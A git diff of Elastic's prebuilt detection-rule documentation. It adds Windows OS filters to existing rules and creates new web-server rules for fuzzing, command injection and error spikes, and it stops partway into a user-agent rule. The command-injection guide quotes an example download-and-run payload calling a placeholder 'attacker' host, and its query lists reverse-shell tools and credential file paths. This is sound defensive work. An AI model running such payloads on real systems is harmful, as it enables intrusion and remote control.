diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-service-was-installed-in-the-system.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-service-was-installed-in-the-system.asciidoc
index 997acb0a7a..9e1b28674b 100644
--- a/docs/detections/prebuilt-rules/rule-details/suspicious-service-was-installed-in-the-system.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/suspicious-service-was-installed-in-the-system.asciidoc
@@ -34,7 +34,7 @@ Identifies the creation of a new Windows service with suspicious Service command
 * Data Source: Windows Security Event Logs
 * Data Source: Windows System Event Logs
 
-*Version*: 114
+*Version*: 115
 
 *Rule authors*: 
 
@@ -103,7 +103,7 @@ This rule looks for suspicious services being created with suspicious traits com
 
 [source, js]
 ----------------------------------
-any where
+any where host.os.type == "windows" and
   (event.code : "4697" and
    (winlog.event_data.ServiceFileName : 
            ("*COMSPEC*", "*\\127.0.0.1*", "*Admin$*", "*powershell*", "*rundll32*", "*cmd.exe*", "*PSEXESVC*", 
diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-wmi-event-subscription-created.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-wmi-event-subscription-created.asciidoc
index 787334c448..27f4404d5b 100644
--- a/docs/detections/prebuilt-rules/rule-details/suspicious-wmi-event-subscription-created.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/suspicious-wmi-event-subscription-created.asciidoc
@@ -36,7 +36,7 @@ Detects the creation of a WMI Event Subscription. Attackers can abuse this mecha
 * Data Source: Elastic Defend
 * Resources: Investigation Guide
 
-*Version*: 310
+*Version*: 311
 
 *Rule authors*: 
 
@@ -98,7 +98,7 @@ Windows Management Instrumentation (WMI) is a powerful framework for managing da
 
 [source, js]
 ----------------------------------
-any where
+any where host.os.type == "windows" and
  (
    (event.dataset == "windows.sysmon_operational" and event.code == "21" and
     ?winlog.event_data.Operation : "Created" and ?winlog.event_data.Consumer : ("*subscription:CommandLineEventConsumer*", "*subscription:ActiveScriptEventConsumer*")) or
diff --git a/docs/detections/prebuilt-rules/rule-details/temporarily-scheduled-task-creation.asciidoc b/docs/detections/prebuilt-rules/rule-details/temporarily-scheduled-task-creation.asciidoc
index e93c2dba4e..1c14c01d83 100644
--- a/docs/detections/prebuilt-rules/rule-details/temporarily-scheduled-task-creation.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/temporarily-scheduled-task-creation.asciidoc
@@ -35,7 +35,7 @@ Indicates the creation and deletion of a scheduled task within a short time inte
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 112
+*Version*: 113
 
 *Rule authors*: 
 
@@ -98,8 +98,8 @@ Scheduled tasks in Windows environments automate routine tasks, but adversaries
 [source, js]
 ----------------------------------
 sequence by winlog.computer_name, winlog.event_data.TaskName with maxspan=5m
-   [iam where event.action == "scheduled-task-created" and not user.name : "*$"]
-   [iam where event.action == "scheduled-task-deleted" and not user.name : "*$"]
+   [iam where host.os.type == "windows" and event.action == "scheduled-task-created" and not user.name : "*$"]
+   [iam where host.os.type == "windows" and event.action == "scheduled-task-deleted" and not user.name : "*$"]
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-scheduled-task-update.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-scheduled-task-update.asciidoc
index b53e9f3b81..07d2c6ccf9 100644
--- a/docs/detections/prebuilt-rules/rule-details/unusual-scheduled-task-update.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/unusual-scheduled-task-update.asciidoc
@@ -34,7 +34,7 @@ Identifies first-time modifications to scheduled tasks by user accounts, excludi
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 115
+*Version*: 116
 
 *Rule authors*: 
 
@@ -94,7 +94,7 @@ Scheduled tasks in Windows environments automate routine tasks, but adversaries
 
 [source, js]
 ----------------------------------
-event.category: "iam" and event.code: "4702" and
+event.category: "iam" and host.os.type:"windows" and event.code: "4702" and
   not winlog.event_data.SubjectUserSid: ("S-1-5-18" or "S-1-5-19" or "S-1-5-20") and
   not user.name : *$
 
diff --git a/docs/detections/prebuilt-rules/rule-details/user-account-exposed-to-kerberoasting.asciidoc b/docs/detections/prebuilt-rules/rule-details/user-account-exposed-to-kerberoasting.asciidoc
index 0c4d7c8dc2..2af801abac 100644
--- a/docs/detections/prebuilt-rules/rule-details/user-account-exposed-to-kerberoasting.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/user-account-exposed-to-kerberoasting.asciidoc
@@ -41,7 +41,7 @@ Detects when a user account has the servicePrincipalName attribute modified. Att
 * Use Case: Active Directory Monitoring
 * Data Source: Windows Security Event Logs
 
-*Version*: 218
+*Version*: 219
 
 *Rule authors*: 
 
@@ -132,7 +132,7 @@ Set-AuditRule -AdObjectPath 'AD:\CN=Users,DC=Domain,DC=com' -WellKnownSidType Wo
 
 [source, js]
 ----------------------------------
-event.code:5136 and winlog.event_data.OperationType:"%%14674" and
+event.code:5136 and host.os.type:"windows" and winlog.event_data.OperationType:"%%14674" and
   winlog.event_data.ObjectClass:"user" and
   winlog.event_data.AttributeLDAPDisplayName:"servicePrincipalName"
 
diff --git a/docs/detections/prebuilt-rules/rule-details/web-server-discovery-or-fuzzing-activity.asciidoc b/docs/detections/prebuilt-rules/rule-details/web-server-discovery-or-fuzzing-activity.asciidoc
new file mode 100644
index 0000000000..73eed69d9d
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/web-server-discovery-or-fuzzing-activity.asciidoc
@@ -0,0 +1,142 @@
+[[web-server-discovery-or-fuzzing-activity]]
+=== Web Server Discovery or Fuzzing Activity
+
+This rule detects potential web server discovery or fuzzing activity by identifying a high volume of HTTP GET requests resulting in 404 or 403 status codes from a single source IP address within a short timeframe. Such patterns may indicate that an attacker is attempting to discover hidden or unlinked resources on a web server, which can be a precursor to more targeted attacks.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Web
+* Domain: Network
+* Use Case: Threat Detection
+* Tactic: Reconnaissance
+* Data Source: Network Packet Capture
+* Data Source: Nginx
+* Data Source: Apache
+* Data Source: Apache Tomcat
+* Data Source: IIS
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Web Server Discovery or Fuzzing Activity*
+
+
+This rule flags a single origin generating a rapid burst of GET requests that produce many 404/403 responses, a hallmark of automated web discovery or fuzzing. Attackers commonly run wordlist-driven enumeration to probe paths such as /admin/, /login, /backup.zip, /.env, /.git/, and undocumented API routes, gauging which resources exist and where access controls fail. Detecting this reconnaissance early helps prevent subsequent targeted exploitation of newly found endpoints and weak authentication flows.
+
+
+*Possible investigation steps*
+
+
+- Correlate user-agent, TLS JA3/JA4, Host/SNI, and X-Forwarded-For to fingerprint the client, identify common fuzzing tools or disguised automation, and recover the true origin if traffic traversed a CDN or proxy.
+- Summarize the top requested paths and response codes for this source to spot any 2xx or 401 outcomes amid the denials, flagging hits on sensitive locations such as /.env, /.git, /admin interfaces, backups, installer scripts, and undocumented API routes.
+- Pivot to the same timeframe for adjacent web and authentication activity from this origin to see whether POSTs, credential attempts, or parameterized requests followed the enumeration, indicating progression toward exploitation or spraying.
+- Review WAF/CDN and reverse-proxy logs for blocks, challenges, or rate limiting and whether multiple virtual hosts were targeted via the Host header, confirming if and how far requests reached the application tier.
+- Validate whether the source aligns with approved internal scanners or scheduled testing via inventories and change records, and if not, enrich with ASN/geolocation, reverse DNS, and threat intel to assess reputation and recurrence across your estate.
+
+
+*False positive analysis*
+
+
+- An internal QA link checker or monitoring crawler run from a single host can request hundreds of unique paths and generate many 404/403 GETs when routes, assets, or permissions are misconfigured.
+- A shared egress IP (NAT or corporate proxy) aggregating many users during a faulty deployment can trigger high volumes of 404/403 GETs as browsers collectively hit moved or newly restricted resources.
+
+
+*Response and remediation*
+
+
+- Immediately rate-limit or block the offending source IP at the WAF/CDN and reverse proxy, applying a challenge or temporary ban to the observed User-Agent and JA3/JA4 fingerprint driving the 500+ unique-path 404/403 GET burst.
+- If traffic came through a proxy or CDN, use X-Forwarded-For to identify and block the true origin, and add a temporary ASN or geolocation block if the source aligns with known scanner networks.
+- Verify whether the source is an approved internal scanner; if not, disable the job or container, remove any scheduled tasks and API keys used, and notify the owner to stop testing against production immediately.
+- Review the requested path list to identify any 2xx or 401 hits and remediate exposures such as accessible /.env, /.git, /admin interfaces, backup archives, or installer scripts by removing files, disabling endpoints, and rotating secrets.
+- Escalate to incident response if enumeration persists after blocking, pivots to POSTs or credential attempts, originates from rotating IPs (Tor/VPN/residential), or produces 2xx on sensitive endpoints despite WAF rules.
+- Harden the web tier by enabling per-IP rate limiting and bot challenges, turning off directory listing and default app endpoints, blocking patterns like /.git/, /.env, and /backup.zip at the WAF, and restricting origin access to CDN egress only.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*
+| where
+    (url.original is not null or url.full is not null) and
+    http.request.method == "GET" and 
+    http.response.status_code in (404, 403)
+
+| eval Esql.url_text  = case(url.original is not null, url.original, url.full)
+| eval Esql.url_lower = to_lower(Esql.url_text)
+
+| keep
+    @timestamp,
+    event.dataset,
+    http.request.method,
+    http.response.status_code,
+    source.ip,
+    agent.id,
+    host.name,
+    Esql.url_lower
+| stats
+    Esql.event_count = count(),
+    Esql.url_lower_count_distinct = count_distinct(Esql.url_lower),
+    Esql.host_name_values = values(host.name),
+    Esql.agent_id_values = values(agent.id),
+    Esql.http_request_method_values = values(http.request.method),
+    Esql.http_response_status_code_values = values(http.response.status_code),
+    Esql.url_path_values = values(Esql.url_lower),
+    Esql.event_dataset_values = values(event.dataset)
+    by source.ip
+| where
+  Esql.event_count > 500 and Esql.url_lower_count_distinct > 250
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Reconnaissance
+** ID: TA0043
+** Reference URL: https://attack.mitre.org/tactics/TA0043/
+* Technique:
+** Name: Active Scanning
+** ID: T1595
+** Reference URL: https://attack.mitre.org/techniques/T1595/
+* Sub-technique:
+** Name: Vulnerability Scanning
+** ID: T1595.002
+** Reference URL: https://attack.mitre.org/techniques/T1595/002/
+* Sub-technique:
+** Name: Wordlist Scanning
+** ID: T1595.003
+** Reference URL: https://attack.mitre.org/techniques/T1595/003/
diff --git a/docs/detections/prebuilt-rules/rule-details/web-server-potential-command-injection-request.asciidoc b/docs/detections/prebuilt-rules/rule-details/web-server-potential-command-injection-request.asciidoc
new file mode 100644
index 0000000000..2c505a19e9
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/web-server-potential-command-injection-request.asciidoc
@@ -0,0 +1,230 @@
+[[web-server-potential-command-injection-request]]
+=== Web Server Potential Command Injection Request
+
+This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Web
+* Domain: Network
+* Use Case: Threat Detection
+* Tactic: Reconnaissance
+* Tactic: Persistence
+* Tactic: Execution
+* Tactic: Credential Access
+* Tactic: Command and Control
+* Data Source: Network Packet Capture
+* Data Source: Nginx
+* Data Source: Apache
+* Data Source: Apache Tomcat
+* Data Source: IIS
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Web Server Potential Command Injection Request*
+
+
+This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.
+
+
+*Possible investigation steps*
+
+
+- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
+- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
+- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
+- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
+- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.
+
+
+*False positive analysis*
+
+
+- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
+- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.
+
+
+*Response and remediation*
+
+
+- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
+- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
+- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
+- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
+- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
+- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*
+| where
+    (url.original is not null or url.full is not null) and
+    // Limit to 200 response code to reduce noise
+    http.response.status_code == 200
+
+| eval Esql.url_lower  = case(url.original is not null, url.original, url.full)
+| eval Esql.url_lower = to_lower(Esql.url_lower)
+
+| eval Esql.contains_interpreter = case(Esql.url_lower like "*python* -c*" or Esql.url_lower like "*perl* -e*" or Esql.url_lower like "*ruby* -e*" or Esql.url_lower like "*ruby* -rsocket*" or Esql.url_lower like "*lua* -e*" or Esql.url_lower like "*php* -r*" or Esql.url_lower like "*node* -e*", 1, 0)
+| eval Esql.contains_shell = case(Esql.url_lower like "*/bin/bash*" or Esql.url_lower like "*bash*-c*" or Esql.url_lower like "*/bin/sh*" or Esql.url_lower rlike "*sh.{1,2}-c*", 1, 0)
+| eval Esql.contains_nc = case(Esql.url_lower like "*netcat*" or Esql.url_lower like "*ncat*" or Esql.url_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_lower like "*nc.openbsd*" or Esql.url_lower like "*nc.traditional*" or Esql.url_lower like "*socat*", 1, 0)
+| eval Esql.contains_devtcp = case(Esql.url_lower like "*/dev/tcp/*" or Esql.url_lower like "*/dev/udp/*", 1, 0)
+| eval Esql.contains_helpers = case((Esql.url_lower like "*/bin/*" or Esql.url_lower like "*/usr/bin/*") and (Esql.url_lower like "*mkfifo*" or Esql.url_lower like "*nohup*" or Esql.url_lower like "*setsid*" or Esql.url_lower like "*busybox*"), 1, 0)
+| eval Esql.contains_sus_cli = case(Esql.url_lower like "*import*pty*spawn*" or Esql.url_lower like "*import*subprocess*call*" or Esql.url_lower like "*tcpsocket.new*" or Esql.url_lower like "*tcpsocket.open*" or Esql.url_lower like "*io.popen*" or Esql.url_lower like "*os.execute*" or Esql.url_lower like "*fsockopen*", 1, 0)
+| eval Esql.contains_privileges = case(Esql.url_lower like "*chmod*+x", 1, 0)
+| eval Esql.contains_downloader = case(Esql.url_lower like "*curl *" or Esql.url_lower like "*wget *" , 1, 0)
+| eval Esql.contains_file_read_keywords = case(Esql.url_lower like "*/etc/shadow*" or Esql.url_lower like "*/etc/passwd*" or Esql.url_lower like "*/root/.ssh/*" or Esql.url_lower like "*/home/*/.ssh/*" or Esql.url_lower like "*~/.ssh/*" or Esql.url_lower like "*/proc/self/environ*", 1, 0)
+| eval Esql.contains_base64_cmd = case(Esql.url_lower like "*base64*-d*" or Esql.url_lower like "*echo*|*base64*", 1, 0)
+| eval Esql.contains_suspicious_path = case(Esql.url_lower like "*/tmp/*" or Esql.url_lower like "*/var/tmp/*" or Esql.url_lower like "*/dev/shm/*" or Esql.url_lower like "*/root/*" or Esql.url_lower like "*/home/*/*" or Esql.url_lower like "*/var/www/*" or Esql.url_lower like "*/etc/cron.*/*", 1, 0)
+
+| eval Esql.any_payload_keyword = case(
+    Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
+    Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
+    Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)
+
+| keep
+    @timestamp,
+    Esql.url_lower,
+    Esql.any_payload_keyword,
+    Esql.contains_interpreter,
+    Esql.contains_shell,
+    Esql.contains_nc,
+    Esql.contains_devtcp,
+    Esql.contains_helpers,
+    Esql.contains_sus_cli,
+    Esql.contains_privileges,
+    Esql.contains_downloader,
+    Esql.contains_file_read_keywords,
+    Esql.contains_base64_cmd,
+    Esql.contains_suspicious_path,
+    source.ip,
+    destination.ip,
+    agent.id,
+    http.request.method,
+    http.response.status_code,
+    user_agent.original,
+    host.name,
+    event.dataset
+
+| stats
+    Esql.event_count = count(),
+    Esql.url_path_count_distinct = count_distinct(Esql.url_lower),
+
+    // General fields
+
+    Esql.host_name_values = values(host.name),
+    Esql.agent_id_values = values(agent.id),
+    Esql.url_path_values = values(Esql.url_lower),
+    Esql.http.response.status_code_values = values(http.response.status_code),
+    Esql.user_agent_original_values = values(user_agent.original),
+    Esql.event_dataset_values = values(event.dataset),
+
+    // Rule Specific fields
+    Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),
+    Esql.contains_interpreter_values = values(Esql.contains_interpreter),
+    Esql.contains_shell_values = values(Esql.contains_shell),
+    Esql.contains_nc_values = values(Esql.contains_nc),
+    Esql.contains_devtcp_values = values(Esql.contains_devtcp),
+    Esql.contains_helpers_values = values(Esql.contains_helpers),
+    Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),
+    Esql.contains_privileges_values = values(Esql.contains_privileges),
+    Esql.contains_downloader_values = values(Esql.contains_downloader),
+    Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),
+    Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),
+    Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)
+
+    by source.ip, agent.id
+
+| where
+    // Filter for potential command injection attempts with low event counts to reduce false positives
+    Esql.any_payload_keyword_max == 1 and Esql.event_count < 5
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Server Software Component
+** ID: T1505
+** Reference URL: https://attack.mitre.org/techniques/T1505/
+* Sub-technique:
+** Name: Web Shell
+** ID: T1505.003
+** Reference URL: https://attack.mitre.org/techniques/T1505/003/
+* Tactic:
+** Name: Execution
+** ID: TA0002
+** Reference URL: https://attack.mitre.org/tactics/TA0002/
+* Technique:
+** Name: Command and Scripting Interpreter
+** ID: T1059
+** Reference URL: https://attack.mitre.org/techniques/T1059/
+* Sub-technique:
+** Name: Unix Shell
+** ID: T1059.004
+** Reference URL: https://attack.mitre.org/techniques/T1059/004/
+* Tactic:
+** Name: Command and Control
+** ID: TA0011
+** Reference URL: https://attack.mitre.org/tactics/TA0011/
+* Technique:
+** Name: Application Layer Protocol
+** ID: T1071
+** Reference URL: https://attack.mitre.org/techniques/T1071/
+* Tactic:
+** Name: Reconnaissance
+** ID: TA0043
+** Reference URL: https://attack.mitre.org/tactics/TA0043/
+* Technique:
+** Name: Active Scanning
+** ID: T1595
+** Reference URL: https://attack.mitre.org/techniques/T1595/
+* Sub-technique:
+** Name: Vulnerability Scanning
+** ID: T1595.002
+** Reference URL: https://attack.mitre.org/techniques/T1595/002/
+* Sub-technique:
+** Name: Wordlist Scanning
+** ID: T1595.003
+** Reference URL: https://attack.mitre.org/techniques/T1595/003/
diff --git a/docs/detections/prebuilt-rules/rule-details/web-server-potential-spike-in-error-response-codes.asciidoc b/docs/detections/prebuilt-rules/rule-details/web-server-potential-spike-in-error-response-codes.asciidoc
new file mode 100644
index 0000000000..d6390f04af
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/web-server-potential-spike-in-error-response-codes.asciidoc
@@ -0,0 +1,147 @@
+[[web-server-potential-spike-in-error-response-codes]]
+=== Web Server Potential Spike in Error Response Codes
+
+This rule detects unusual spikes in error response codes (500, 502, 503, 504) from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Web
+* Domain: Network
+* Use Case: Threat Detection
+* Tactic: Reconnaissance
+* Data Source: Network Packet Capture
+* Data Source: Nginx
+* Data Source: Apache
+* Data Source: Apache Tomcat
+* Data Source: IIS
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Web Server Potential Spike in Error Response Codes*
+
+
+This rule detects bursts of 5xx errors (500–504) from GET traffic, highlighting abnormal server behavior that accompanies active scanning or fuzzing and exposes fragile code paths or misconfigured proxies. Attackers sweep common and generated endpoints while mutating query params and headers—path traversal, template syntax, large payloads—to repeatedly force backend exceptions and gateway timeouts, enumerate which routes fail, and pinpoint inputs that leak stack traces or crash components for follow-on exploitation.
+
+
+*Possible investigation steps*
+
+
+- Plot error rates per minute by server and client around the alert window to confirm the spike, determine scope, and separate a single noisy client from a platform-wide issue.
+- Aggregate the failing URL paths and query strings from the flagged client and look for enumeration sequences, traversal encoding, template injection markers, or oversized inputs indicative of fuzzing.
+- Examine User-Agent, Referer, header mix, and TLS JA3 for generic scanner signatures or reuse across multiple clients, and enrich the originating IP with reputation and hosting-provider attribution.
+- Correlate the timeframe with reverse proxy/WAF/IDS and application error logs or stack traces to identify which routes threw exceptions or timeouts and whether they align with the client’s input patterns.
+- Validate backend and dependency health (upstreams, databases, caches, deployments) to rule out infrastructure regressions, then compare whether only the suspicious client experiences disproportionate failures.
+
+
+*False positive analysis*
+
+
+- A scheduled deployment or upstream dependency issue can cause normal GET traffic to fail with 502/503/504, and many users egressing through a shared NAT or reverse proxy may be aggregated as one source IP that triggers the spike.
+- An internal health-check, load test, or site crawler running from a single host can rapidly traverse endpoints and induce 500 errors on fragile routes, mimicking scanner-like behavior without malicious intent.
+
+
+*Response and remediation*
+
+
+- Immediately rate-limit or block the originating client(s) at the edge (reverse proxy/WAF) using the observed source IPs, User-Agent/TLS fingerprints, and the failing URL patterns generating 5xx bursts.
+- Drain the origin upstream(s) showing repeated 500/502/503/504 on the probed routes, roll back the latest deployment or config change for those services, and disable any unstable endpoint or plugin that is crashing under input fuzzing.
+- Restart affected application workers and proxies, purge bad cache entries, re-enable traffic gradually with canary percentage, and confirm normal response rates via synthetic checks against the previously failing URLs.
+- Escalate to Security Operations and Incident Response if 5xx spikes persist after blocking or if error pages expose stack traces, credentials, or admin route disclosures, or if traffic originates from multiple global hosting ASNs.
+- Deploy targeted WAF rules for path traversal and injection markers seen in the URLs, enforce per-IP and per-route rate limits, tighten upstream timeouts/circuit breakers, and replace verbose error pages with generic responses that omit stack details.
+- Add bot management and IP reputation blocking at the CDN/edge, lock down unauthenticated access to admin/debug routes, and instrument alerts that trigger on sustained 5xx bursts per client and per route with automatic edge throttling.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*
+| where
+    (url.original is not null or url.full is not null) and
+    http.request.method == "GET" and
+    http.response.status_code in (
+      500, // Internal Server Error
+      502, // Bad Gateway
+      503, // Service Unavailable
+      504 // Gateway Timeout
+    )
+| eval Esql.url_text  = case(url.original is not null, url.original, url.full)
+| eval Esql.url_lower = to_lower(Esql.url_text)
+
+| keep
+    @timestamp,
+    event.dataset,
+    http.request.method,
+    http.response.status_code,
+    source.ip,
+    agent.id,
+    host.name,
+    Esql.url_lower
+| stats
+    Esql.event_count = count(),
+    Esql.http_response_status_code_count = count(http.response.status_code),
+    Esql.http_response_status_code_values = values(http.response.status_code),
+    Esql.host_name_values = values(host.name),
+    Esql.agent_id_values = values(agent.id),
+    Esql.http_request_method_values = values(http.request.method),
+    Esql.http_response_status_code_values = values(http.response.status_code),
+    Esql.url_path_values = values(Esql.url_lower),
+    Esql.event_dataset_values = values(event.dataset)
+    by source.ip, agent.id
+| where
+    Esql.http_response_status_code_count > 10
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Reconnaissance
+** ID: TA0043
+** Reference URL: https://attack.mitre.org/tactics/TA0043/
+* Technique:
+** Name: Active Scanning
+** ID: T1595
+** Reference URL: https://attack.mitre.org/techniques/T1595/
+* Sub-technique:
+** Name: Vulnerability Scanning
+** ID: T1595.002
+** Reference URL: https://attack.mitre.org/techniques/T1595/002/
+* Sub-technique:
+** Name: Wordlist Scanning
+** ID: T1595.003
+** Reference URL: https://attack.mitre.org/techniques/T1595/003/
diff --git a/docs/detections/prebuilt-rules/rule-details/web-server-suspicious-user-agent-requests.asciidoc b/docs/detections/prebuilt-rules/rule-details/web-server-suspicious-user-agent-requests.asciidoc
new file mode 100644
index 0000000000..5e89007eeb
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/web-server-suspicious-user-agent-requests.asciidoc
@@ -0,0 +1,180 @@
+[[web-server-suspicious-user-agent-requests]]
+=== Web Server Suspicious User Agent Requests
+
+This rule detects unusual spikes in web server requests with uncommon or suspicious user-agent strings. Such activity may indicate reconnaissance attempts by attackers trying to identify vulnerabilities in web applications or servers. These user-agents are often associated with automated tools used for scanning, vulnerability assessment, or brute-force attacks.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Web
+* Domain: Network
+* Use Case: Threat Detection
+* Tactic: Reconnaissance
+* Tactic: Credential Access
+* Data Source: Network Packet Capture
+* Data Source: Nginx
+* Data Source: Apache
+* Data Source: Apache Tomcat
+* Data Source: IIS
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
